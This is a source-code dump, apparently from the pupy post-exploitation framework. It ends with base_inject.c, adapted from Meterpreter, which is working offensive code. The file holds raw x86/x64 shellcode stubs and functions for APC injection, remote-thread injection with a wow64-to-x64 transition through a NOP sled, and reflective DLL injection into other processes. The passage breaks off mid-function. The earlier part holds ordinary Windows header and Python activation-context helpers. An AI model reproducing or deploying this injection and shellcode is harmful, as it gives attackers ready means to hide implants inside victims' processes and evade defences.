lpImageBaseAddress; PPEB_LDR_DATA pLdr; LPVOID lpProcessParameters; LPVOID lpSubSystemData; LPVOID lpProcessHeap; PRTL_CRITICAL_SECTION pFastPebLock; LPVOID lpFastPebLockRoutine; LPVOID lpFastPebUnlockRoutine; DWORD dwEnvironmentUpdateCount; LPVOID lpKernelCallbackTable; DWORD dwSystemReserved; DWORD dwAtlThunkSListPtr32; PPEB_FREE_BLOCK pFreeList; DWORD dwTlsExpansionCounter; LPVOID lpTlsBitmap; DWORD dwTlsBitmapBits[2]; LPVOID lpReadOnlySharedMemoryBase; LPVOID lpReadOnlySharedMemoryHeap; LPVOID lpReadOnlyStaticServerData; LPVOID lpAnsiCodePageData; LPVOID lpOemCodePageData; LPVOID lpUnicodeCaseTableData; DWORD dwNumberOfProcessors; DWORD dwNtGlobalFlag; LARGE_INTEGER liCriticalSectionTimeout; DWORD dwHeapSegmentReserve; DWORD dwHeapSegmentCommit; DWORD dwHeapDeCommitTotalFreeThreshold; DWORD dwHeapDeCommitFreeBlockThreshold; DWORD dwNumberOfHeaps; DWORD dwMaximumNumberOfHeaps; LPVOID lpProcessHeaps; LPVOID lpGdiSharedHandleTable; LPVOID lpProcessStarterHelper; DWORD dwGdiDCAttributeList; LPVOID lpLoaderLock; DWORD dwOSMajorVersion; DWORD dwOSMinorVersion; WORD wOSBuildNumber; WORD wOSCSDVersion; DWORD dwOSPlatformId; DWORD dwImageSubsystem; DWORD dwImageSubsystemMajorVersion; DWORD dwImageSubsystemMinorVersion; DWORD dwImageProcessAffinityMask; DWORD dwGdiHandleBuffer[34]; LPVOID lpPostProcessInitRoutine; LPVOID lpTlsExpansionBitmap; DWORD dwTlsExpansionBitmapBits[32]; DWORD dwSessionId; ULARGE_INTEGER liAppCompatFlags; ULARGE_INTEGER liAppCompatFlagsUser; LPVOID lppShimData; LPVOID lpAppCompatInfo; UNICODE_STR usCSDVersion; LPVOID lpActivationContextData; LPVOID lpProcessAssemblyStorageMap; LPVOID lpSystemDefaultActivationContextData; LPVOID lpSystemAssemblyStorageMap; DWORD dwMinimumStackCommit; } _PEB, * _PPEB; typedef struct { WORD offset:12; WORD type:4; } IMAGE_RELOC, *PIMAGE_RELOC; //===============================================================================================// #endif //===============================================================================================// ================================================ FILE: client/sources-windows-py3/actctx.c ================================================ #include "actctx.h" HANDLE PyWin_DLLhActivationContext=NULL; PFN_GETCURRENTACTCTX pfnGetCurrentActCtx=NULL; PFN_ACTIVATEACTCTX pfnActivateActCtx=NULL; PFN_DEACTIVATEACTCTX pfnDeactivateActCtx=NULL; PFN_ADDREFACTCTX pfnAddRefActCtx=NULL; PFN_RELEASEACTCTX pfnReleaseActCtx=NULL; ULONG_PTR _My_ActivateActCtx() { ULONG_PTR ret = 0; if (PyWin_DLLhActivationContext && pfnActivateActCtx) if (!(*pfnActivateActCtx)(PyWin_DLLhActivationContext, &ret)) { ret = 0; // no promise the failing function didn't change it! } return ret; } void _My_DeactivateActCtx(ULONG_PTR cookie) { if (cookie && pfnDeactivateActCtx) if (!(*pfnDeactivateActCtx)(0, cookie)){} } ================================================ FILE: client/sources-windows-py3/actctx.h ================================================ #include #include #include #include // Windows "Activation Context" work: // Our .pyd extension modules are generally built without a manifest (ie, // those included with Python and those built with a default distutils. // This requires we perform some "activation context" magic when loading our // extensions. In summary: // * As our DLL loads we save the context being used. // * Before loading our extensions we re-activate our saved context. // * After extension load is complete we restore the old context. // As an added complication, this magic only works on XP or later - we simply // use the existence (or not) of the relevant function pointers from kernel32. // See bug 4566 (http://python.org/sf/4566) for more details. #ifdef __cplusplus extern "C" { #endif typedef BOOL (WINAPI * PFN_GETCURRENTACTCTX)(HANDLE *); typedef BOOL (WINAPI * PFN_ACTIVATEACTCTX)(HANDLE, ULONG_PTR *); typedef BOOL (WINAPI * PFN_DEACTIVATEACTCTX)(DWORD, ULONG_PTR); typedef BOOL (WINAPI * PFN_ADDREFACTCTX)(HANDLE); typedef BOOL (WINAPI * PFN_RELEASEACTCTX)(HANDLE); // locals and function pointers for this activation context magic. extern HANDLE PyWin_DLLhActivationContext; extern PFN_GETCURRENTACTCTX pfnGetCurrentActCtx; extern PFN_ACTIVATEACTCTX pfnActivateActCtx; extern PFN_DEACTIVATEACTCTX pfnDeactivateActCtx; extern PFN_ADDREFACTCTX pfnAddRefActCtx; extern PFN_RELEASEACTCTX pfnReleaseActCtx; void _MyLoadActCtxPointers(); ULONG_PTR _My_ActivateActCtx(); void _My_DeactivateActCtx(ULONG_PTR cookie); #ifdef __cplusplus } #endif ================================================ FILE: client/sources-windows-py3/base_inject.c ================================================ /* This code is originally from meterpreter and has been modified to be integrated into pupy. original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/ Meterpreter is available for use under the following license, commonly known as the 3-clause (or "modified") BSD license: ========================================================================================= Meterpreter ----------- Copyright (c) 2006-2013, Rapid7 Inc Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Rapid7 nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ //#include "common.h" #include #include #include "thread.h" #include "remote_thread.h" #include "LoadLibraryR.h" #include "base_inject.h" #include "debug.h" #ifdef _PUPY_DYNLOAD #include #else #include "Python-dynload.h" #endif #define BREAK_ON_ERROR( str ) { \ dprint(str " GetLastError()=%d" "\n", GetLastError()); \ PyErr_Format(PyExc_Exception, str " GetLastError()=%d", GetLastError()); \ break; \ } // see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' BYTE migrate_executex64[] = \ "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" "\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" "\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00" "\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24" "\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"; // see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' BYTE migrate_wownativex[] = \ "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; // see '/msf3/external/source/shellcode/x86/migrate/apc.asm' BYTE apc_stub_x86[] = \ "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5" "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F" "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF" "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B" "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01" "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF" "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58" "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04" "\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58" "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10" "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B" "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00" "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51" "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00"; // see '/msf3/external/source/shellcode/x64/migrate/apc.asm' BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48" "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48" "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48" "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C" "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41" "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B" "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01" "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF" "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41" "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C" "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41" "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20" "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF" "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00" "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00" "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41" "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00"; /* * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe */ DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) { DWORD dwResult = ERROR_ACCESS_DENIED; HMODULE hNtdll = NULL; NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; HANDLE hThreadSnap = NULL; LPVOID lpApcStub = NULL; LPVOID lpRemoteApcStub = NULL; LPVOID lpRemoteApcContext = NULL; THREADENTRY32 t = {0}; APCCONTEXT ctx = {0}; DWORD dwApcStubLength = 0; do { ctx.s.lpStartAddress = lpStartAddress; ctx.p.lpParameter = lpParameter; ctx.bExecuted = FALSE; t.dwSize = sizeof( THREADENTRY32 ); // Get the architecture specific apc migration stub... if( dwDestinationArch == PROCESS_ARCH_X86 ) { #ifdef _WIN64 // injecting x64->x86(wow64) // Our injected APC ends up running in native x64 mode within the wow64 process and as such // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. SetLastError( ERROR_ACCESS_DENIED ); BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) #else // injecting x86->x86 dprint("[INJECT]: Use x86 stub\n"); lpApcStub = &apc_stub_x86; dwApcStubLength = sizeof( apc_stub_x86 ); #endif } else if( dwDestinationArch == PROCESS_ARCH_X64 ) { // injecting x64->x64 (and the same stub for x86(wow64)->x64) dprint("[INJECT]: Use x64 stub\n"); lpApcStub = &apc_stub_x64; dwApcStubLength = sizeof( apc_stub_x64 ); #ifndef _WIN64 { // injecting x86(wow64)->x64 // For now we leverage a bug in wow64 to get x86->x64 injection working, this // will simply fail gracefully on systems where the technique does not work. MEMORY_BASIC_INFORMATION mbi = {0}; LPVOID lpRemoteAddress = NULL; BYTE * lpNopSled = NULL; BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; /* // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, // however the start address of the new APC in the native x64 process is not what we specify but instead it is // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there // injection will continue as normal. // The registers on the native x64 process after the queued APC is attempted to run: rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param) rdx = dwApcStatusBlock // unused r8 = dwApcReserved // unused // On the WOW64 process side: wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine wow64:000000006B0095F0 wow64:000000006B0095F0 public Wow64ApcRoutine // On the native x64 process side: ntdll:0000000077EF30A0 public KiUserApcDispatcher ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved ntdll:0000000077EF30AE mov r9, rsp ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine! // Our bStub: 00000000 4889C8 mov rax, rcx 00000003 48C1E120 shl rcx, 32 00000007 48C1E920 shr rcx, 32 0000000B 48C1E820 shr rax, 32 0000000F FFE0 jmp rax */ // alloc the address of the wow64!Wow64ApcRoutine export in the remote process... // TO-DO: parse the PE64 executable wow64.dll to get this at runtime. dprint("[INJECT]: Use WOW64 injection\n"); lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteAddress ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" ); if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" ); lpNopSled = (BYTE *)malloc( mbi.RegionSize ); if( !lpNopSled ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); memset( lpNopSled, 0x90, mbi.RegionSize ); if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) free( lpNopSled ); } #else { SetLastError( ERROR_BAD_ENVIRONMENT ); BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) } #endif } hNtdll = LoadLibraryA( "ntdll" ); if( !hNtdll ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); if( !pNtQueueApcThread ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); if( !hThreadSnap ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) if( !Thread32First( hThreadSnap, &t ) ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) // Allocate memory for the apc stub and context lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if( !lpRemoteApcStub ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" ) // Simply determine the apc context address lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength ); dprint( "[INJECT] -- dwPupyArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X\n", #ifdef _WIN64 "x64", #else "x86", #endif lpRemoteApcStub, lpRemoteApcContext ); // Write the apc stub to memory... if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" ) // Write the apc context to memory... if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" ) do { HANDLE hThread = NULL; // Only proceed if we are targeting a thread in the target process if( t.th32OwnerProcessID != dwProcessID ) continue; // Open a handle to this thread so we can do the apc injection hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID ); if( !hThread ) continue; dprint("[INJECT] inject_via_apcthread: Trying to inject into thread %d\n", t.th32ThreadID ); // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) { dprint("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.\n", t.th32ThreadID ); dwResult = ERROR_SUCCESS; } else { dprint("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.\n", t.th32ThreadID ); } CloseHandle( hThread ); } while( Thread32Next( hThreadSnap, &t ) && dwResult != ERROR_SUCCESS); } while( 0 ); if( hThreadSnap ) CloseHandle( hThreadSnap ); if( hNtdll ) FreeLibrary( hNtdll ); SetLastError( dwResult ); return dwResult; } /* * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) * enviroment into a native x64 enviroment and accessing the native win64 API's. * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out * Windows 2003 from this method of injection, however the APC injection method will work on 2003. */ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread ) { DWORD dwResult = ERROR_SUCCESS; EXECUTEX64 pExecuteX64 = NULL; X64FUNCTION pX64function = NULL; WOW64CONTEXT * ctx = NULL; OSVERSIONINFO os = {0}; do { os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" ) // filter out Windows 2003 if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 ) { SetLastError( ERROR_ACCESS_DENIED ); BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." ) } // alloc a RWX buffer in this process for the EXECUTEX64 function pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !pExecuteX64 ) BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ) // alloc a RWX buffer in this process for the X64FUNCTION function (and its context) pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !pX64function ) BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ) // copy over the wow64->x64 stub memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) ); // copy over the native x64 function memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) ); // set the context ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) ); ctx->h.hProcess = hProcess; ctx->s.lpStartAddress = lpStartAddress; ctx->p.lpParameter = lpParameter; ctx->t.hThread = NULL; //printf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx ); // Transition this wow64 process into native x64 and call pX64function( ctx ) // The native function will use the native Win64 API's to create a remote thread in the target process. if( !pExecuteX64( pX64function, (DWORD)ctx ) ) { SetLastError( ERROR_ACCESS_DENIED ); BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) } if( !ctx->t.hThread ) { SetLastError( ERROR_INVALID_HANDLE ); BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" ) } // Success! grab the new thread handle from of the context *pThread = ctx->t.hThread; //printf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread ); } while( 0 ); if( pExecuteX64 ) VirtualFree( pExecuteX64, 0, MEM_DECOMMIT ); if( pX64function ) VirtualFree( pX64function, 0, MEM_DECOMMIT ); return dwResult; } /* * Attempte to gain code execution in the remote process by creating a remote thread in the target process. */ DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) { DWORD dwResult = ERROR_INVALID_FUNCTION; DWORD dwResumeResult = NULL; DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; HANDLE hThread = NULL; do { // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread // fails, giving us a chance to try an alternative method or fail migration gracefully. hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL); if (!hThread) { #ifndef _WIN64 if (dwDestinationArch == PROCESS_ARCH_X64) { dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64; if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS) { BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed") } } else { BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed") } #else { BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed") } #endif } else { dprint("[INJECT] inject_via_remotethread: succeeded, hThread = %p\n", hThread); } dprint("[INJECT] inject_via_remotethread: Resuming the injected thread...\n"); // Resume the injected thread... dwResumeResult = ResumeThread(hThread); if (dwResumeResult == (DWORD)-1) { BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed") } dprint("[INJECT] Thread %p resumed with %d\n", hThread, dwResumeResult); } while (0); if (hThread) { CloseHandle(hThread); dwResult = ERROR_SUCCESS; } SetLastError(dwResult); return dwResult; } /* * Inject a DLL image into a process via Reflective DLL Injection. * * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() * in stdapi will handle this automatically. * * Note: This function largely depreciates LoadRemoteLibraryR(). */ DWORD inject_dll( DWORD dwPid, const LPVOID lpDllBuffer, DWORD dwDllLenght, const char * cpCommandLine , int remoteProcessArch) { DWORD dwResult = ERROR_ACCESS_DENIED; DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; LPVOID lpRemoteCommandLine = NULL; HANDLE hProcess = NULL; LPVOID lpRemoteLibraryBuffer = NULL; LPVOID lpReflectiveLoader = NULL; LPVOID lpExecutableRegion = NULL; DWORD dwReflectiveLoaderOffset = 0; DWORD dwOldProtection = 0; dprint( "[INJECT] inject_dll(%d, %p, %d, %s, %d)\n", dwPid, lpDllBuffer, dwDllLenght, cpCommandLine, remoteProcessArch ); do { if( !lpDllBuffer || !dwDllLenght ) BREAK_ON_ERROR( "[INJECT] inject_dll. No Dll buffer supplied."); // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer ); if( !dwReflectiveLoaderOffset ) BREAK_ON_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed."); dprint("[INJECT] ReflectiveLoader offset = %p\n", dwReflectiveLoaderOffset); hProcess = OpenProcess( PROCESS_VM_OPERATION | \ PROCESS_VM_WRITE | \ PROCESS_CREATE_THREAD | \ PROCESS_QUERY_INFORMATION, FALSE, dwPid ); if( !hProcess ) BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); if( cpCommandLine ) { // alloc some space and write the commandline which we will pass to the injected dll... lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) ) BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); } // alloc memory (RWX) in the host process for the image... lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteLibraryBuffer ) BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx failed" ); // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) ) BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); lpExecutableRegion = (LPVOID) (((UINT_PTR) lpReflectiveLoader) - (((UINT_PTR) 